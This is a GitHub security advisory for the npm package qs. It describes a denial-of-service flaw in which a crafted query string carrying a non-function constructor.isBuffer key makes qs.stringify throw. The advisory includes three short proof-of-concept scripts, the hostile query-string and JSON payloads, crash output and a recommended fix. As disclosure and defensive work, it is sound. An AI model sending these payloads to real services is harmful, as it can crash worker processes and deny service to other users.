Skip to content

qs: Denial of Service via Attacker Controlled isBuffer

Moderate severity GitHub Reviewed Published Aug 29, 2026 in ljharb/qs • Updated Sep 2, 2026

Package

npm qs (npm)

Affected versions

>= 2.2.5, < 6.16.0

Patched versions

6.16.0

Description

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

References

@ljharb ljharb published to ljharb/qs Aug 29, 2026
Published by the National Vulnerability Database Aug 30, 2026
Published to the GitHub Advisory Database Sep 2, 2026
Reviewed Sep 2, 2026
Last updated Sep 2, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(34th percentile)

Weaknesses

Uncaught Exception

An exception is thrown from a function, but it is not caught. Learn more on MITRE.

Improper Check or Handling of Exceptional Conditions

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. Learn more on MITRE.

CVE ID

CVE-2026-82417

GHSA ID

GHSA-4mjr-xmp4-gh2g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.